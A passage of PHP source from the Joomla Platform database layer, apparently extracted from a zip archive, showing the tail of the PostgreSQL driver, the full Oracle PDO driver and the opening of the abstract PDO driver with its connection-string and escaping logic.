SQL statement. * * @param array $columns Array of table's column returned by ::getTableColumns. * @param string $fieldName The table field's name. * @param string $fieldValue The variable value to quote and return. * * @return string The quoted string. * * @since 3.0.0 */ public function sqlValue($columns, $fieldName, $fieldValue) { switch ($columns[$fieldName]) { case 'boolean': $val = 'NULL'; if ($fieldValue == 't') { $val = 'TRUE'; } elseif ($fieldValue == 'f') { $val = 'FALSE'; } break; case 'bigint': case 'bigserial': case 'integer': case 'money': case 'numeric': case 'real': case 'smallint': case 'serial': case 'numeric,': $val = strlen($fieldValue) == 0 ? 'NULL' : $fieldValue; break; case 'date': case 'timestamp without time zone': if (empty($fieldValue)) { $fieldValue = $this->getNullDate(); } $val = $this->quote($fieldValue); break; default: $val = $this->quote($fieldValue); break; } return $val; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('COMMIT')->execute()) { $this->transactionDepth = 0; } return; } $this->transactionDepth--; } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('ROLLBACK')->execute()) { $this->transactionDepth = 0; } return; } $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TO SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; $this->setQuery('RELEASE SAVEPOINT ' . $this->quoteName($savepoint))->execute(); } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { if ($this->setQuery('START TRANSACTION')->execute()) { $this->transactionDepth = 1; } return; } $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } /** * Method to fetch a row from the result set cursor as an array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchArray($cursor = null) { return pg_fetch_row($cursor ? $cursor : $this->cursor); } /** * Method to fetch a row from the result set cursor as an associative array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchAssoc($cursor = null) { return pg_fetch_assoc($cursor ? $cursor : $this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * @param string $class The class name to use for the returned row object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject($cursor = null, $class = 'stdClass') { return pg_fetch_object(is_null($cursor) ? $this->cursor : $cursor, null, $class); } /** * Method to free up the memory used for the result set. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return void * * @since 3.0.0 */ protected function freeResult($cursor = null) { pg_free_result($cursor ? $cursor : $this->cursor); } /** * Inserts a row into a table based on an object's properties. * * @param string $table The name of the database table to insert into. * @param object &$object A reference to an object whose public properties match the table fields. * @param string $key The name of the primary key. If provided the object property is updated. * * @return boolean True on success. * * @since 3.0.0 * @throws RuntimeException */ public function insertObject($table, &$object, $key = null) { $columns = $this->getTableColumns($table); $fields = array(); $values = array(); // Iterate over the object variables to build the query fields and values. foreach (get_object_vars($object) as $k => $v) { // Only process non-null scalars. if (is_array($v) or is_object($v) or $v === null) { continue; } // Ignore any internal fields or primary keys with value 0. if (($k[0] == '_') || ($k == $key && (($v === 0) || ($v === '0')))) { continue; } // Prepare and sanitize the fields and values for the database query. $fields[] = $this->quoteName($k); $values[] = $this->sqlValue($columns, $k, $v); } // Create the base insert statement. $query = $this->getQuery(true) ->insert($this->quoteName($table)) ->columns($fields) ->values(implode(',', $values)); $retVal = false; if ($key) { $query->returning($key); // Set the query and execute the insert. $this->setQuery($query); $id = $this->loadResult(); if ($id) { $object->$key = $id; $retVal = true; } } else { // Set the query and execute the insert. $this->setQuery($query); if ($this->execute()) { $retVal = true; } } return $retVal; } /** * Test to see if the PostgreSQL connector is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return function_exists('pg_connect'); } /** * Returns an array containing database's table list. * * @return array The database's table list. * * @since 3.0.0 */ public function showTables() { $this->connect(); $query = $this->getQuery(true) ->select('table_name') ->from('information_schema.tables') ->where('table_type = ' . $this->quote('BASE TABLE')) ->where('table_schema NOT IN (' . $this->quote('pg_catalog') . ', ' . $this->quote('information_schema') . ' )'); $this->setQuery($query); $tableList = $this->loadColumn(); return $tableList; } /** * Get the substring position inside a string * * @param string $substring The string being sought * @param string $string The string/column being searched * * @return integer The position of $substring in $string * * @since 3.0.0 */ public function getStringPositionSql($substring, $string) { $this->connect(); $query = "SELECT POSITION( $substring IN $string )"; $this->setQuery($query); $position = $this->loadRow(); return $position['position']; } /** * Generate a random value * * @return float The random generated number * * @since 3.0.0 */ public function getRandom() { $this->connect(); $this->setQuery('SELECT RANDOM()'); $random = $this->loadAssoc(); return $random['random']; } /** * Get the query string to alter the database character set. * * @param string $dbName The database name * * @return string The query that alter the database query string * * @since 3.0.0 */ public function getAlterDbCharacterSet($dbName) { $query = 'ALTER DATABASE ' . $this->quoteName($dbName) . ' SET CLIENT_ENCODING TO ' . $this->quote('UTF8'); return $query; } /** * Get the query string to create new Database in correct PostgreSQL syntax. * * @param object $options object coming from "initialise" function to pass user and database name to database driver. * @param boolean $utf True if the database supports the UTF-8 character set, not used in PostgreSQL "CREATE DATABASE" query. * * @return string The query that creates database, owned by $options['user'] * * @since 3.0.0 */ public function getCreateDbQuery($options, $utf) { $query = 'CREATE DATABASE ' . $this->quoteName($options->db_name) . ' OWNER ' . $this->quoteName($options->db_user); if ($utf) { $query .= ' ENCODING ' . $this->quote('UTF-8'); } return $query; } /** * This function replaces a string identifier <var>$prefix</var> with the string held is the * <var>tablePrefix</var> class variable. * * @param string $query The SQL statement to prepare. * @param string $prefix The common table prefix. * * @return string The processed SQL statement. * * @since 3.0.0 */ public function replacePrefix($query, $prefix = '#__') { $query = trim($query); if (strpos($query, '\'')) { // Sequence name quoted with ' ' but need to be replaced if (strpos($query, 'currval')) { $query = explode('currval', $query); for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax; $nIndex += 2) { $query[$nIndex] = str_replace($prefix, $this->tablePrefix, $query[$nIndex]); } $query = implode('currval', $query); } // Sequence name quoted with ' ' but need to be replaced if (strpos($query, 'nextval')) { $query = explode('nextval', $query); for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax; $nIndex += 2) { $query[$nIndex] = str_replace($prefix, $this->tablePrefix, $query[$nIndex]); } $query = implode('nextval', $query); } // Sequence name quoted with ' ' but need to be replaced if (strpos($query, 'setval')) { $query = explode('setval', $query); for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax; $nIndex += 2) { $query[$nIndex] = str_replace($prefix, $this->tablePrefix, $query[$nIndex]); } $query = implode('setval', $query); } $explodedQuery = explode('\'', $query); for ($nIndex = 0, $nIndexMax = count($explodedQuery); $nIndex < $nIndexMax; $nIndex += 2) { if (strpos($explodedQuery[$nIndex], $prefix)) { $explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix, $explodedQuery[$nIndex]); } } $replacedQuery = implode('\'', $explodedQuery); } else { $replacedQuery = str_replace($prefix, $this->tablePrefix, $query); } return $replacedQuery; } /** * Method to release a savepoint. * * @param string $savepointName Savepoint's name to release * * @return void * * @since 3.0.0 */ public function releaseTransactionSavepoint($savepointName) { $this->connect(); $this->setQuery('RELEASE SAVEPOINT ' . $this->quoteName($this->escape($savepointName))); $this->execute(); } /** * Method to create a savepoint. * * @param string $savepointName Savepoint's name to create * * @return void * * @since 3.0.0 */ public function transactionSavepoint($savepointName) { $this->connect(); $this->setQuery('SAVEPOINT ' . $this->quoteName($this->escape($savepointName))); $this->execute(); } /** * Unlocks tables in the database, this command does not exist in PostgreSQL, * it is automatically done on commit or rollback. * * @return JDatabaseDriverPostgresql Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function unlockTables() { $this->transactionCommit(); return $this; } /** * Updates a row in a table based on an object's properties. * * @param string $table The name of the database table to update. * @param object &$object A reference to an object whose public properties match the table fields. * @param array $key The name of the primary key. * @param boolean $nulls True to update null fields or false to ignore them. * * @return boolean True on success. * * @since 3.0.0 * @throws RuntimeException */ public function updateObject($table, &$object, $key, $nulls = false) { $columns = $this->getTableColumns($table); $fields = array(); $where = array(); if (is_string($key)) { $key = array($key); } if (is_object($key)) { $key = (array) $key; } // Create the base update statement. $statement = 'UPDATE ' . $this->quoteName($table) . ' SET %s WHERE %s'; // Iterate over the object variables to build the query fields/value pairs. foreach (get_object_vars($object) as $k => $v) { // Only process scalars that are not internal fields. if (is_array($v) or is_object($v) or $k[0] == '_') { continue; } // Set the primary key to the WHERE clause instead of a field to update. if (in_array($k, $key)) { $key_val = $this->sqlValue($columns, $k, $v); $where[] = $this->quoteName($k) . '=' . $key_val; continue; } // Prepare and sanitize the fields and values for the database query. if ($v === null) { // If the value is null and we want to update nulls then set it. if ($nulls) { $val = 'NULL'; } // If the value is null and we do not want to update nulls then ignore this field. else { continue; } } // The field is not null so we prep it for update. else { $val = $this->sqlValue($columns, $k, $v); } // Add the field to be updated. $fields[] = $this->quoteName($k) . '=' . $val; } // We don't have any fields to update. if (empty($fields)) { return true; } // Set the query and execute the update. $this->setQuery(sprintf($statement, implode(',', $fields), implode(' AND ', $where))); return $this->execute(); } /** * Return the actual SQL Error number * * @return integer The SQL Error number * * @since 3.4.6 * * @throws \JDatabaseExceptionExecuting Thrown if the global cursor is false indicating a query failed */ protected function getErrorNumber() { if ($this->cursor === false) { $this->errorMsg = pg_last_error($this->connection); throw new JDatabaseExceptionExecuting($this->sql, $this->errorMsg); } return (int) pg_result_error_field($this->cursor, PGSQL_DIAG_SQLSTATE) . ' '; } /** * Return the actual SQL Error message * * @return string The SQL Error message * * @since 3.4.6 */ protected function getErrorMessage() { $errorMessage = (string) pg_last_error($this->connection); // Replace the Databaseprefix with `#__` if we are not in Debug if (!$this->debug) { $errorMessage = str_replace($this->tablePrefix, '#__', $errorMessage); } return $errorMessage; } /** * Get the query strings to alter the character set and collation of a table. * * @param string $tableName The name of the table * * @return string[] The queries required to alter the table's character set and collation * * @since CMS 3.5.0 */ public function getAlterTableCharacterSet($tableName) { return array(); } /** * Return the query string to create new Database. * Each database driver, other than MySQL, need to override this member to return correct string. * * @param stdClass $options Object used to pass user and database name to database driver. * This object must have "db_name" and "db_user" set. * @param boolean $utf True if the database supports the UTF-8 character set. * * @return string The query that creates database * * @since 3.0.1 */ protected function getCreateDatabaseQuery($options, $utf) { return 'CREATE DATABASE ' . $this->quoteName($options->db_name); } /** * Quotes a binary string to database requirements for use in database queries. * * @param mixed $data A binary string to quote. * * @return string The binary quoted input string. * * @since 3.9.12 */ public function quoteBinary($data) { return "decode('" . bin2hex($data) . "', 'hex')"; } /** * Internal function to get the name of the default schema for the current PostgreSQL connection. * That is the schema where tables are created by Joomla. * * @return string * * @since 3.9.24 */ private function getDefaultSchema() { // Supported since PostgreSQL 7.3 $this->setQuery('SELECT (current_schemas(false))[1]'); return $this->loadResult(); } } PK�\m�2��=�=!joomla/database/driver/oracle.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Oracle database driver * * @link https://www.php.net/pdo * @since 3.0.0 */ class JDatabaseDriverOracle extends JDatabaseDriverPdo { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'oracle'; /** * The type of the database server family supported by this driver. * * @var string * @since CMS 3.5.0 */ public $serverType = 'oracle'; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.0.0 */ protected $nameQuote = '"'; /** * Returns the current dateformat * * @var string * @since 3.0.0 */ protected $dateformat; /** * Returns the current character set * * @var string * @since 3.0.0 */ protected $charset; /** * Constructor. * * @param array $options List of options used to configure the connection * * @since 3.0.0 */ public function __construct($options) { $options['driver'] = 'oci'; $options['charset'] = (isset($options['charset'])) ? $options['charset'] : 'AL32UTF8'; $options['dateformat'] = (isset($options['dateformat'])) ? $options['dateformat'] : 'RRRR-MM-DD HH24:MI:SS'; $this->charset = $options['charset']; $this->dateformat = $options['dateformat']; // Finalize initialisation parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } parent::connect(); if (isset($this->options['schema'])) { $this->setQuery('ALTER SESSION SET CURRENT_SCHEMA = ' . $this->quoteName($this->options['schema']))->execute(); } $this->setDateFormat($this->dateformat); } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { // Close the connection. $this->freeResult(); $this->connection = null; } /** * Drops a table from the database. * * Note: The IF EXISTS flag is unused in the Oracle driver. * * @param string $tableName The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return JDatabaseDriverOracle Returns this object to support chaining. * * @since 3.0.0 */ public function dropTable($tableName, $ifExists = true) { $this->connect(); $query = $this->getQuery(true) ->setQuery('DROP TABLE :tableName'); $query->bind(':tableName', $tableName); $this->setQuery($query); $this->execute(); return $this; } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database or boolean false if not supported. * * @since 3.0.0 */ public function getCollation() { return $this->charset; } /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { return $this->charset; } /** * Get a query to run and verify the database is operational. * * @return string The query to check the health of the DB. * * @since 3.0.1 */ public function getConnectedQuery() { return 'SELECT 1 FROM dual'; } /** * Returns the current date format * This method should be useful in the case that * somebody actually wants to use a different * date format and needs to check what the current * one is to see if it needs to be changed. * * @return string The current date format * * @since 3.0.0 */ public function getDateFormat() { return $this->dateformat; } /** * Shows the table CREATE statement that creates the given tables. * * Note: You must have the correct privileges before this method * will return usable results! * * @param mixed $tables A table name or a list of table names. * * @return array A list of the create SQL for the tables. * * @since 3.0.0 * @throws RuntimeException */ public function getTableCreate($tables) { $this->connect(); $result = array(); $query = $this->getQuery(true) ->select('dbms_metadata.get_ddl(:type, :tableName)') ->from('dual') ->bind(':type', 'TABLE'); // Sanitize input to an array and iterate over the list. settype($tables, 'array'); foreach ($tables as $table) { $query->bind(':tableName', $table); $this->setQuery($query); $statement = (string) $this->loadResult(); $result[$table] = $statement; } return $result; } /** * Retrieves field information about a given table. * * @param string $table The name of the database table. * @param boolean $typeOnly True to only return field types. * * @return array An array of fields for the database table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $this->connect(); $columns = array(); $query = $this->getQuery(true); $fieldCasing = $this->getOption(PDO::ATTR_CASE); $this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER); $table = strtoupper($table); $query->select('*'); $query->from('ALL_TAB_COLUMNS'); $query->where('table_name = :tableName'); $prefixedTable = str_replace('#__', strtoupper($this->tablePrefix), $table); $query->bind(':tableName', $prefixedTable); $this->setQuery($query); $fields = $this->loadObjectList(); if ($typeOnly) { foreach ($fields as $field) { $columns[$field->COLUMN_NAME] = $field->DATA_TYPE; } } else { foreach ($fields as $field) { $columns[$field->COLUMN_NAME] = $field; $columns[$field->COLUMN_NAME]->Default = null; } } $this->setOption(PDO::ATTR_CASE, $fieldCasing); return $columns; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableKeys($table) { $this->connect(); $query = $this->getQuery(true); $fieldCasing = $this->getOption(PDO::ATTR_CASE); $this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER); $table = strtoupper($table); $query->select('*') ->from('ALL_CONSTRAINTS') ->where('table_name = :tableName') ->bind(':tableName', $table); $this->setQuery($query); $keys = $this->loadObjectList(); $this->setOption(PDO::ATTR_CASE, $fieldCasing); return $keys; } /** * Method to get an array of all tables in the database (schema). * * @param string $databaseName The database (schema) name * @param boolean $includeDatabaseName Whether to include the schema name in the results * * @return array An array of all the tables in the database. * * @since 3.0.0 * @throws RuntimeException */ public function getTableList($databaseName = null, $includeDatabaseName = false) { $this->connect(); $query = $this->getQuery(true); if ($includeDatabaseName) { $query->select('owner, table_name'); } else { $query->select('table_name'); } $query->from('all_tables'); if ($databaseName) { $query->where('owner = :database') ->bind(':database', $databaseName); } $query->order('table_name'); $this->setQuery($query); if ($includeDatabaseName) { $tables = $this->loadAssocList(); } else { $tables = $this->loadColumn(); } return $tables; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.0.0 */ public function getVersion() { $this->connect(); $this->setQuery("select value from nls_database_parameters where parameter = 'NLS_RDBMS_VERSION'"); return $this->loadResult(); } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.0.0 * @throws RuntimeException */ public function select($database) { $this->connect(); return true; } /** * Sets the Oracle Date Format for the session * Default date format for Oracle is = DD-MON-RR * The default date format for this driver is: * 'RRRR-MM-DD HH24:MI:SS' since it is the format * that matches the MySQL one used within most Joomla * tables. * * @param string $dateFormat Oracle Date Format String * * @return boolean * * @since 3.0.0 */ public function setDateFormat($dateFormat = 'DD-MON-RR') { $this->connect(); $this->setQuery("ALTER SESSION SET NLS_DATE_FORMAT = '$dateFormat'"); if (!$this->execute()) { return false; } $this->setQuery("ALTER SESSION SET NLS_TIMESTAMP_FORMAT = '$dateFormat'"); if (!$this->execute()) { return false; } $this->dateformat = $dateFormat; return true; } /** * Set the connection to use UTF-8 character encoding. * * Returns false automatically for the Oracle driver since * you can only set the character set when the connection * is created. * * @return boolean True on success. * * @since 3.0.0 */ public function setUtf() { return false; } /** * Locks a table in the database. * * @param string $table The name of the table to unlock. * * @return JDatabaseDriverOracle Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function lockTable($table) { $this->setQuery('LOCK TABLE ' . $this->quoteName($table) . ' IN EXCLUSIVE MODE')->execute(); return $this; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Not used by Oracle. * @param string $prefix Not used by Oracle. * * @return JDatabaseDriverOracle Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $this->setQuery('RENAME ' . $oldTable . ' TO ' . $newTable)->execute(); return $this; } /** * Unlocks tables in the database. * * @return JDatabaseDriverOracle Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function unlockTables() { $this->setQuery('COMMIT')->execute(); return $this; } /** * Test to see if the PDO ODBC connector is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return class_exists('PDO') && in_array('oci', PDO::getAvailableDrivers()); } /** * This function replaces a string identifier <var>$prefix</var> with the string held is the * <var>tablePrefix</var> class variable. * * @param string $query The SQL statement to prepare. * @param string $prefix The common table prefix. * * @return string The processed SQL statement. * * @since 1.7.0 */ public function replacePrefix($query, $prefix = '#__') { $startPos = 0; $quoteChar = "'"; $literal = ''; $query = trim($query); $n = strlen($query); while ($startPos < $n) { $ip = strpos($query, $prefix, $startPos); if ($ip === false) { break; } $j = strpos($query, "'", $startPos); if ($j === false) { $j = $n; } $literal .= str_replace($prefix, $this->tablePrefix, substr($query, $startPos, $j - $startPos)); $startPos = $j; $j = $startPos + 1; if ($j >= $n) { break; } // Quote comes first, find end of quote while (true) { $k = strpos($query, $quoteChar, $j); $escaped = false; if ($k === false) { break; } $l = $k - 1; while ($l >= 0 && $query[$l] == '\\') { $l--; $escaped = !$escaped; } if ($escaped) { $j = $k + 1; continue; } break; } if ($k === false) { // Error in the query - no end quote; ignore it break; } $literal .= substr($query, $startPos, $k - $startPos + 1); $startPos = $k + 1; } if ($startPos < $n) { $literal .= substr($query, $startPos, $n - $startPos); } return $literal; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { parent::transactionCommit($toSavepoint); } else { $this->transactionDepth--; } } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { parent::transactionRollback($toSavepoint); } else { $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TO SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; } } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { return parent::transactionStart($asSavepoint); } $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } /** * Get the query strings to alter the character set and collation of a table. * * @param string $tableName The name of the table * * @return string[] The queries required to alter the table's character set and collation * * @since CMS 3.5.0 */ public function getAlterTableCharacterSet($tableName) { return array(); } /** * Return the query string to create new Database. * Each database driver, other than MySQL, need to override this member to return correct string. * * @param stdClass $options Object used to pass user and database name to database driver. * This object must have "db_name" and "db_user" set. * @param boolean $utf True if the database supports the UTF-8 character set. * * @return string The query that creates database * * @since 3.0.1 */ protected function getCreateDatabaseQuery($options, $utf) { return 'CREATE DATABASE ' . $this->quoteName($options->db_name); } } PK�\���3�g�gjoomla/database/driver/pdo.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform PDO Database Driver Class * * @link https://www.php.net/pdo * @since 3.0.0 */ abstract class JDatabaseDriverPdo extends JDatabaseDriver { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'pdo'; /** * @var PDO The database connection resource. * @since 3.0.0 */ protected $connection; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.0.0 */ protected $nameQuote = "'"; /** * The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * * @var string * @since 3.0.0 */ protected $nullDate = '0000-00-00 00:00:00'; /** * @var resource The prepared statement. * @since 3.0.0 */ protected $prepared; /** * Contains the current query execution status * * @var array * @since 3.0.0 */ protected $executed = false; /** * Constructor. * * @param array $options List of options used to configure the connection * * @since 3.0.0 */ public function __construct($options) { // Get some basic values from the options. $options['driver'] = (isset($options['driver'])) ? $options['driver'] : 'odbc'; $options['dsn'] = (isset($options['dsn'])) ? $options['dsn'] : ''; $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost'; $options['database'] = (isset($options['database'])) ? $options['database'] : ''; $options['user'] = (isset($options['user'])) ? $options['user'] : ''; $options['password'] = (isset($options['password'])) ? $options['password'] : ''; $options['driverOptions'] = (isset($options['driverOptions'])) ? $options['driverOptions'] : array(); $hostParts = explode(':', $options['host']); if (!empty($hostParts[1])) { $options['host'] = $hostParts[0]; $options['port'] = $hostParts[1]; } // Finalize initialisation parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } // Make sure the PDO extension for PHP is installed and enabled. if (!self::isSupported()) { throw new JDatabaseExceptionUnsupported('PDO Extension is not available.', 1); } $replace = array(); $with = array(); // Find the correct PDO DSN Format to use: switch ($this->options['driver']) { case 'cubrid': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 33000; $format = 'cubrid:host=#HOST#;port=#PORT#;dbname=#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); break; case 'dblib': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 1433; $format = 'dblib:host=#HOST#;port=#PORT#;dbname=#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); break; case 'firebird': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 3050; $format = 'firebird:dbname=#DBNAME#'; $replace = array('#DBNAME#'); $with = array($this->options['database']); break; case 'ibm': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 56789; if (!empty($this->options['dsn'])) { $format = 'ibm:DSN=#DSN#'; $replace = array('#DSN#'); $with = array($this->options['dsn']); } else { $format = 'ibm:hostname=#HOST#;port=#PORT#;database=#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); } break; case 'informix': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 1526; $this->options['protocol'] = (isset($this->options['protocol'])) ? $this->options['protocol'] : 'onsoctcp'; if (!empty($this->options['dsn'])) { $format = 'informix:DSN=#DSN#'; $replace = array('#DSN#'); $with = array($this->options['dsn']); } else { $format = 'informix:host=#HOST#;service=#PORT#;database=#DBNAME#;server=#SERVER#;protocol=#PROTOCOL#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#', '#SERVER#', '#PROTOCOL#'); $with = array($this->options['host'], $this->options['port'], $this->options['database'], $this->options['server'], $this->options['protocol']); } break; case 'mssql': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 1433; $format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); break; // The pdomysql case is a special case within the CMS environment case 'pdomysql': case 'mysql': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 3306; $format = 'mysql:host=#HOST#;port=#PORT#;dbname=#DBNAME#;charset=#CHARSET#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#', '#CHARSET#'); $with = array($this->options['host'], $this->options['port'], $this->options['database'], $this->options['charset']); break; case 'oci': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 1521; $this->options['charset'] = (isset($this->options['charset'])) ? $this->options['charset'] : 'AL32UTF8'; if (!empty($this->options['dsn'])) { $format = 'oci:dbname=#DSN#'; $replace = array('#DSN#'); $with = array($this->options['dsn']); } else { $format = 'oci:dbname=//#HOST#:#PORT#/#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); } $format .= ';charset=' . $this->options['charset']; break; case 'odbc': $format = 'odbc:DSN=#DSN#;UID:#USER#;PWD=#PASSWORD#'; $replace = array('#DSN#', '#USER#', '#PASSWORD#'); $with = array($this->options['dsn'], $this->options['user'], $this->options['password']); break; case 'pgsql': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 5432; $format = 'pgsql:host=#HOST#;port=#PORT#;dbname=#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); break; case 'sqlite': if (isset($this->options['version']) && $this->options['version'] == 2) { $format = 'sqlite2:#DBNAME#'; } else { $format = 'sqlite:#DBNAME#'; } $replace = array('#DBNAME#'); $with = array($this->options['database']); break; case 'sybase': $this->options['port'] = (isset($this->options['port'])) ? $this->options['port'] : 1433; $format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#'; $replace = array('#HOST#', '#PORT#', '#DBNAME#'); $with = array($this->options['host'], $this->options['port'], $this->options['database']); break; } // Create the connection string: $connectionString = str_replace($replace, $with, $format); try { $this->connection = new PDO( $connectionString, $this->options['user'], $this->options['password'], $this->options['driverOptions'] ); } catch (PDOException $e) { throw new JDatabaseExceptionConnecting('Could not connect to PDO: ' . $e->getMessage(), 2, $e); } } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } $this->freeResult(); $this->connection = null; } /** * Method to escape a string for usage in an SQL statement. * * Oracle escaping reference: * http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F * * SQLite escaping notes: * http://www.sqlite.org/faq.html#q14 * * Method body is as implemented by the Zend Framework * * Note: Using query objects with bound variables is * preferable to the below. * * @param string $text The string to be escaped. * @param boolean $extra Unused optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.0.0 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', (string) $text); } $text = str_replace("'", "''", (string) $text); return addcslashes($text, "\000\n\r\\\032"); } /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 3.0.0 * @throws RuntimeException * @throws Exception */ public function 